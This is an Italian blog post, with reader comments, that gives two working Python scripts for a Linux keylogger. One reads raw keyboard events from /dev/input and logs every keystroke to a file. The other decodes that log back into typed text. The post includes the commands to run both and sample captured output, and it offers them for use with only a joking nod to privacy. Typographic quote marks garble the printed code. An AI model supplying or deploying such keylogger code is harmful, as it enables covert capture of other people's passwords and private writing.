Post  |  Commenti

Post Meta

19th
MAY

Keylogger in python per linux

1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...

Posted by RedSend | Filed under Linux

Due script per effettuare il keylogger sulla proprio linux-box.
Prima di lanciare gli script, assicurarsi che il modulo evdev sia incluso nel kernel oppure che sia compilato come modulo, in questo caso bisogna caricarlo con:

# modprobe evdev

Passiamo agli script.

keylog.py

#!/usr/bin/env python

DEV = ‘/dev/input/event0′
#if event0 doesn’t work, try event1
#DEV = ‘/dev/input/event1′

fo = open(DEV)

def interpret(keycode,state):
if state == 0:
print ‘%i up’%keycode
if state == 1:
print ‘%i down’%keycode
if state == 2:
print ‘%i repeat’%keycode

while 1:
line = fo.read(16)
if ord(line[10]) != 0:
keycode,state = line[10],line[12]
interpret(ord(keycode),ord(state))

Questo script effettua il log di tutti i tasti premuti sulla tastiera, recuperando queste informazioni dal device /dev/input/event0, come viene commentato anche nello script nel caso non dovesse funzionare cambiate il dispositivo inserendo quello giusto.

Per lanciare lo script date il comando

# python -i keylog.py > keys.logfile

in questo modo nel file keys.logfile avremo tutte le informazioni…

Il secondo script invece viene utilizzato per fare il parsing del file prodotto da keylog.py e visualizzare le informazioni in maniera comprensibile all’uomo non dotato di particolare poteri matrixiani.

keylog_read.py

#!/usr/bin/env python
import re
import os
import sys

dumpkeys = os.popen(’dumpkeys’).readlines()

keyre = re.compile(’keycode[s]*([0-9]*) = ([S]*)’)

dict = {}
for line in dumpkeys:
result = keyre.search(line)
if result:
keycode,char = result.groups()
dict.update({keycode:char})

fo = open(sys.argv[1])
lines = fo.readlines()

def interpret(char,state):
sdict = {’Meta_greater’:’.’,
‘Meta_less’:',’,
‘Meta_Control_m’:'n’}
odict = {’Meta_nul’:’ ‘}
if len(char) == 1:
if state != ‘upn’:
return char
elif sdict.has_key(char):
return sdict[char]
elif odict.has_key(char):
if state != ‘upn’:
return odict[char]
else:
if state == ‘upn’:
return ‘‘%char
elif state == ‘downn’:
return ‘<%s>‘%char

return ”

for line in lines:
keycode,state = line.split(’ ‘)
char = dict[keycode]
sys.stdout.write(interpret(char,state))

Per lanciare lo script date il comando

# python -i keylog_read.py keys.logfile

Lo script dovrebbe visualizzarvi tutti i caratteri digitati, con tanto di tag nel caso di caratteri speciali, come in questo esempio…

now i am going to type some stuff so you can see w
hat the interpreted stuff looks like.. im ete>m going to paste i
t in right here now i guess…… alright here goes.. ]

Nel caso vi dia un errore, come è capitato a me, è perchè il file keys.logfile contiene nella prima riga dei caratteri strani, quindi aprite il file e cancellate la prima riga e ridate il comando. Tutto dovrebbe funzionare…

Mi raccomando di utilizzare questi script nel rispetto della privacy altrui ;-)

Link:
http://forums.gentoo.org

ps: grazie a kgraehl

Tags:

Reader's Comments

  1. logoman |

    porca miseria…sai che cercando su google “bel logger” ho trovato il tuo “bel logo”!
    google ne sa!
    ora questo sito è davvero accattivante!

  2. redsend |

    Si sai lo ha fatto un mio caro amico… un tipo strano a cui piace certa musica strana… un tipo molto rap :-)

    cmq grazie del complimento, lo rigirerò al mio amico

  3. Musikele |

    Ottimo script!! come al solito sono sotto win (questa è l’ora che sono sotto win) quindi non posso provarlo. Ma ti GIURO che presto o tardi li provo TUTTI!!!

    Vediamoci in giro….
    ah mi piaceva di più il vecchio logo! con tutto il rispetto per l’amico rap :p

    —è la quarta volta che inserisco il captcha.

  4. redsend |

    Cercherò di migliorare il captcha, anche se non mi sembra una cosa molto difficile inserire 5 lettere tutte in maiuscolo… :-) comunque se mi dici i problemi che riscontri quando lo inserisci mi aiuti a capire cosa non và …

    ciao miky

    ps: una volta l’ho sbagliato anche io :-), riproviamoci…

  5. Michele |

    con calma ti dirò che non capisco quando è 0 e quando è O;
    sta scritto che è case-sensitive e certe volte le lettere più piccole mi fanno pensare che sia minuscolo, solo ora mi dici che è tutto maiuscolo UAAAAAA!!!!

    Ma che cms stai usando tu? lo sai che per questi cacchio di blog sto andando un po’ zonzo cercando di carpire il segreto del migliore…

    Michele

  6. Vince |

    Hmmmmmmm ;

Leave a Reply

Il contenuto di questo Blog è rilasciato sotto Licenza Creative Commons (Leggi)